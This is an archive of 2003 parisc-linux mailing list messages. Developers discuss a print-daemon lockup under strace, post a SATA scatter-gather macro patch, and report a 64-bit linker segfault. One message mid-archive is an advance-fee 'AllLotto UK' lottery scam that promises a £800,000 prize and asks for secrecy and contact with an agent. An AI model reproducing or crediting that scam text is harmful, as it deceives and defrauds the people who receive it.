Subject: Re: [parisc-linux] strace locks up 2.4.22-pa14
Date: Mon, 24 Nov 2003 08:21:28 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <3FB265250000633D@ocpmta2.freegates.net>
References: <20031124022514.GA23224@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622994 2256 80.91.229.3 (22 Nov 2014 02:23:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 24 00:21:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5276E4840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Nov 2003 00:21:32 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1AOB2I-00005X-00; Mon, 24 Nov 2003 08:21:30 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 24 Nov 2003 08:21:28 +0100
In-Reply-To: <20031124022514.GA23224@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20205


>>  May I ask you the amount of ram stand in your c3k? (on my 
>> b2k only 256k).
>
>1GB.
>
I would be curious if the same behavior occurs with only 512K?

>> >If network, then I would guess your merge (or the 2.4.23-rc2 base) has
a 
>> >bug.
>> 
>> Certainly :( [but where, the rest ftp, rsync, nfs-client, gtk-app, ...

>> work fine and no special messages neither into kernel, messages or 
>> syslog?]. Well don't care now, it is just a beat anoying to printout my

>> scripts.
>
>ok. TBH, I have no clue then. It might be possible to attach strace to
>a running lp deamon, redirect strace output to /dev/console and then
>compore what happens different on the b2k when a print job is started.

Good idea, I will try to see howto.

>My hope is the syscall output will get printed before it totallte crashes.

That should be a good explanation.

Thanks for attention,
Joel



-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] DIFF 2.6.0-test10 SATA dma_address
Date: Mon, 24 Nov 2003 00:29:29 -0700
Lines: 94
Approved: news@gmane.org
Message-ID: <20031124072929.GC26585@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622995 2258 80.91.229.3 (22 Nov 2014 02:23:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 24 00:29:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id B9B534840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Nov 2003 00:29:30 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 3F9BD298043
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Nov 2003 00:29:30 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 26688-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Nov 2003 00:29:29 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 61D6A29803D; Mon, 24 Nov 2003 00:29:29 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20206

Willy, Alan,

SATA support attempts to directly reference scattergather.dma_address
and .dma_length. That's wrong since those are arch specific fields.
alpha, cris, parisc, ppc64, sparc, and sparc64 won't build SATA.

SATA code needs to use "sg_dma_address()" and sg_dma_len()" macros
to reference those fields.

If this patch looks good, please tell me which forum (linux-scsi?)
this needs to be posted to.

Patch appended and also available from:
	ftp://ftp.parisc-linux.org/patches/diff-2.6.0-t10-sata

The code now compiles but I've not yet built a kernel (forgot to
disable KALLSYMS - toolchain bugs) and don't have the HW to test it. 

cheers,
grant


Index: drivers/scsi/libata-core.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/scsi/libata-core.c,v
retrieving revision 1.3
diff -u -p -r1.3 libata-core.c
--- drivers/scsi/libata-core.c	24 Nov 2003 03:16:17 -0000	1.3
+++ drivers/scsi/libata-core.c	24 Nov 2003 06:28:18 -0000
@@ -1627,8 +1627,8 @@ static void ata_sg_clean(struct ata_queu
 	if (cmd->use_sg)
 		pci_unmap_sg(ap->host_set->pdev, sg, qc->n_elem, dir);
 	else
-		pci_unmap_single(ap->host_set->pdev, sg[0].dma_address,
-				 sg[0].length, dir);
+		pci_unmap_single(ap->host_set->pdev, sg_dma_address(&sg[0]),
+				 sg_dma_len(&sg[0]), dir);
 
 	qc->flags &= ~ATA_QCFLAG_SG;
 	qc->sg = NULL;
@@ -1651,8 +1651,8 @@ void ata_fill_sg(struct ata_queued_cmd *
 	assert(qc->n_elem > 0);
 
 	for (i = 0; i < qc->n_elem; i++) {
-		ap->prd[i].addr = cpu_to_le32(sg[i].dma_address);
-		ap->prd[i].flags_len = cpu_to_le32(sg[i].length);
+		ap->prd[i].addr = cpu_to_le32(sg_dma_address(&sg[i]));
+		ap->prd[i].flags_len = cpu_to_le32(sg_dma_len(&sg[i]));
 		VPRINTK("PRD[%u] = (0x%X, 0x%X)\n",
 			i, le32_to_cpu(ap->prd[i].addr), le32_to_cpu(ap->prd[i].flags_len));
 	}
@@ -1683,12 +1683,12 @@ static int ata_sg_setup_one(struct ata_q
 
 	sg->page = virt_to_page(cmd->request_buffer);
 	sg->offset = (unsigned long) cmd->request_buffer & ~PAGE_MASK;
-	sg->length = cmd->request_bufflen;
+	sg_dma_len(sg) = cmd->request_bufflen;
 
 	if (!have_sg)
 		return 0;
 
-	sg->dma_address = pci_map_single(ap->host_set->pdev,
+	sg_dma_address(sg) = pci_map_single(ap->host_set->pdev,
 					 cmd->request_buffer,
 					 cmd->request_bufflen, dir);
 
@@ -1909,7 +1909,7 @@ static void ata_pio_sector(struct ata_po
 	qc->cursg_ofs++;
 
 	if (cmd->use_sg)
-		if ((qc->cursg_ofs * ATA_SECT_SIZE) == sg[qc->cursg].length) {
+		if ((qc->cursg_ofs * ATA_SECT_SIZE) == sg_dma_len(&sg[qc->cursg])) {
 			qc->cursg++;
 			qc->cursg_ofs = 0;
 		}
Index: drivers/scsi/sata_promise.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/scsi/sata_promise.c,v
retrieving revision 1.3
diff -u -p -r1.3 sata_promise.c
--- drivers/scsi/sata_promise.c	24 Nov 2003 03:16:17 -0000	1.3
+++ drivers/scsi/sata_promise.c	24 Nov 2003 06:28:18 -0000
@@ -603,8 +603,8 @@ static void pdc20621_fill_sg(struct ata_
 	last = qc->n_elem;
 	idx = 0;
 	for (i = 0; i < last; i++) {
-		buf[idx++] = cpu_to_le32(sg[i].dma_address);
-		buf[idx++] = cpu_to_le32(sg[i].length);
+		buf[idx++] = cpu_to_le32(sg_dma_address(&sg[i]));
+		buf[idx++] = cpu_to_le32(sg_dma_len(&sg[i]));
 		total_len += sg[i].length;
 	}
 	buf[idx - 1] |= cpu_to_le32(ATA_PRD_EOT);


From - Thu Nov 08 21:30:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strace locks up 2.4.22-pa14
Date: Mon, 24 Nov 2003 00:33:12 -0700
Lines: 7
Approved: news@gmane.org
Message-ID: <20031124073312.GD26585@colo.lackof.org>
References: <20031124022514.GA23224@colo.lackof.org> <3FB265250000633D@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622995 2260 80.91.229.3 (22 Nov 2014 02:23:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 24 00:33:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6934E4840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Nov 2003 00:33:13 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 0A30A298043; Mon, 24 Nov 2003 00:33:13 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 26688-08; Mon, 24 Nov 2003 00:33:12 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7833029803D; Mon, 24 Nov 2003 00:33:12 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3FB265250000633D@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20207

On Mon, Nov 24, 2003 at 08:21:28AM +0100, Joel Soete wrote:
> I would be curious if the same behavior occurs with only 512K?

sorry - I don't think it's worth removing 512 MB to try.

grant


From - Thu Nov 08 21:30:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strace locks up 2.4.22-pa14
Date: Mon, 24 Nov 2003 08:49:20 +0100
Lines: 51
Approved: news@gmane.org
Message-ID: <3FB2652500006387@ocpmta2.freegates.net>
References: <20031124024251.GB23224@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622995 2262 80.91.229.3 (22 Nov 2014 02:23:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 24 00:49:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id D685A4840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Nov 2003 00:49:23 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1AOBTG-0004hD-00; Mon, 24 Nov 2003 08:49:22 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 24 Nov 2003 08:49:20 +0100
In-Reply-To: <20031124024251.GB23224@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20208

>"locked up" meaning:
>o I could ping a NIC
>o console mouse/keyboard stopped responding
>o I couldn't ssh into the box.
>
Exactly what I see when i reach to reproduce

>System TOC'd nicely and then HPMC'd the box.
>GR00-3 0x0  0x1032f010 0x102a1a70  0x1038953c
>GR20-23 0x53  0xff..ff 0x0a  0x3c230a1c
>GR24-27  0x102bddbd 0xff...feb 0x3c230948 0x102d2010
>
>IIA Space  0x0
>IIA Offset 0x102a0994 strnlen+18
>GR02 0x102a1a70 vsnprintf+6dc
Exactly the same for the 'strace lpr' (excepted address)?
grrr I retry this morning, no more means to reproduce :(

But you have right for the toc (removing cdrom doesn't help).
I just trigger and notice 4 messages wraping on lcd:
FLT CBF0: SYS DB
HPMC Initiated

FLT 500B: SYS DB
Bus time out

FLT CBF1: SYS DB
no OS HPMC IVA

FLT CBFC: SYS DB
OS HPMC br err

And only power off / on allow to restart. (id don't remember if toc sync
disk or not, but I noticed also that fs have to fsck)

OTC it help to boot 2.4.22-pa12 + aty patch :) (i will see what can I do
with that stuff)

>blecchh...need a full stack unwinder.

Courage ;),
    Joel


-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sym-2.1.18i backport?
Date: Mon, 24 Nov 2003 08:52:44 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <3FB2652500006394@ocpmta2.freegates.net>
References: <20031124050535.GD23224@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622996 2264 80.91.229.3 (22 Nov 2014 02:23:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:16 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 24 00:52:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 0775F4840; Mon, 24 Nov 2003 00:52:48 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1AOBWY-0006K4-00; Mon, 24 Nov 2003 08:52:46 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 24 Nov 2003 08:52:44 +0100
In-Reply-To: <20031124050535.GD23224@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20209

Grant,

>I'm considereing do that backport once willy feels the code is "stable".
Ok nice :) 

>We have to sort out the u160 support - it's not very clear how it is
>supposed to work and it doesn't seem to.
>
>> Is there some interest? faisible?
>
>yes and eventually.

"Just call team" if you feel to need help,
Joel

-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa64-linux-ld segfault
Date: Mon, 24 Nov 2003 09:52:59 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <9AC1702E-1E5B-11D8-B18F-0030656F07A2@esiee.fr>
References: <20031124070724.GB26585@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622996 2268 80.91.229.3 (22 Nov 2014 02:23:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 24 01:53:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep14-int.chello.at (viefep14-int.chello.at [213.46.255.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06DAA4840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Nov 2003 01:53:02 -0700 (MST)
Original-Received: from esiee.fr ([212.186.189.113]) by viefep14-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with ESMTP
          id <20031124085255.LJNK27875.viefep14-int.chello.at@esiee.fr>;
          Mon, 24 Nov 2003 09:52:55 +0100
In-Reply-To: <20031124070724.GB26585@colo.lackof.org>
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20210

I got the same when building a 64bit kernel with KALLSYMS enabled...

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://www.pateam.org/

PS: I might be able to package a newer hppa64-gcc, assuming i'm told
what to put in it ;)

Le lundi, 24 nov 2003, =E0 08:07 Europe/Paris, Grant Grundler a =E9crit =
:

> Trying to build 64-bit 2.6.0-test10 on a500...I'm getting:
>
> grundler <537>make
> make[1]: `arch/parisc/kernel/asm-offsets.s' is up to date.
>   CHK     include/asm-parisc/offsets.h
>   CHK     include/linux/compile.h
>   GEN     .version
>   CHK     include/linux/compile.h
>   UPD     include/linux/compile.h
>   CC      init/version.o
>   LD      init/built-in.o
>   LD      .tmp_vmlinux1
> /usr/bin/hppa64-linux-ld: line 4:  9184 Segmentation fault     =20
> /opt/palinux/bin/$prog $*
> make: *** [.tmp_vmlinux1] Error 139
> grundler <538>
>
> It likely I'm not be the only person running into this.
> And not sure why I'm suddenly seeing this problem though...
>
> thanks,
> grant
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:30:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "AllLotto UK" <winningcoordinator@alllotto.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] You are the WINNER!!!
Date: Mon, 24 Nov 2003 14:20:51 +0000
Lines: 59
Approved: news@gmane.org
Message-ID: <20031124152106.1A9C74840@dsl2.external.hp.com>
Reply-To: nationwidetrust_foreignpayments1@yahoo.co.uk
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622996 2284 80.91.229.3 (22 Nov 2014 02:23:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 24 08:21:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from coolre4382.com (host81-136-15-122.in-addr.btopenworld.com [81.136.15.122])
	by dsl2.external.hp.com (Postfix) with SMTP id 1A9C74840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Nov 2003 08:21:06 -0700 (MST)
X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20211

AllLotto UK=2E

 REF=3A OGS=2F2311786008=2F01
 BATCH=3A 14=2F011=2FIPD
 RE=3A WINNING NOTIFICATION=2FFINAL NOTICE

 We are pleased to inform you of the result of the of All lotto
international programs held on the 21st of November 2003=2E

Your e-mail address attached to ticket number 20511465886-629 with serial
number 3772-99 drew lucky numbers=3A


Game Date=09 =09Game=09 =09Result=09 =09
2003-11-21 =09 =09Daily Play=3A=09 =092=2C 10=2C 11=2C 13=2C 14=2C 16=2C 26 =09 =09
2003-11-19 =09 =09Lottery Extra=3A=09 =096=2C 8=2C 19=2C 22=2C 31=2C 34 =09 =09
2003-11-19 =09 =09Lotto=3A=09 =0911=2C 12=2C 13=2C 18=2C 43=2C 48=2C Bonus 21 =09 =09
2003-11-19 =09 =09Thunder ball=3A=09 =091=2C 9=2C 16=2C 19=2C 27=2C Thunder ball=3A 14 =09 =09


YOU ARE THEREFORE ENTITLED TO A LUMP SUM PAYOUT OF =A3800=2C 000=2E 00=2E CONGRATULATIONS!!!

Due to mix up of some numbers and names=2C we ask that you keep your winning
information confidential until your claim has been processed and your money
remitted to you=2E This is part of our security protocol to avoid double
claiming and unwarranted abuse of this program by some participants=2E

All participants were selected through a computer ballot system drawn from
over 100=2C000 company and 50=2C000=2C000 individual email addresses and names
from all over the world=2E This promotional program takes place every
three-year=2E We hope with part of your winning you will take part in our end
of year 50 million British Pound Sterling international lottery=2E

Remember=2C all winning must be claimed not later than or before the 30 days
from the date of this publication=2FNotification=2E After this period all
unclaimed funds will be included in the next stake=2E Please note in order to
avoid unnecessary delays and complications=2C remember to quote your reference
number and batch Numbers in all correspondence=2E

Furthermore=2C should there be any change of Address do inform our agent as
soon as possible=2E PLEASE CONTACT OUR AGENT whose ADDRESS APPEARS FOR YOU TO RESPOND TO=2E

NationwideTrust=2E
A division of Claim Contractors UK
Email=3A nationwidetrust=5Fforeignpayments=40yahoo=2Eco=2Euk

Congratulations once more from our members of staff and thank you for
Being part of our promotional program=2E


Note=3A Anybody under the age of 18 is automatically disqualified=2E

Sincerely yours=2C

Kenneth Jenkins
All Lotto UK




From - Thu Nov 08 21:30:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strace locks up 2.4.22-pa14
Date: Mon, 24 Nov 2003 09:26:00 -0700
Lines: 8
Approved: news@gmane.org
Message-ID: <20031124162600.GA854@colo.lackof.org>
References: <20031124024251.GB23224@colo.lackof.org> <3FB2652500006387@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622997 2286 80.91.229.3 (22 Nov 2014 02:23:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 24 09:26:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
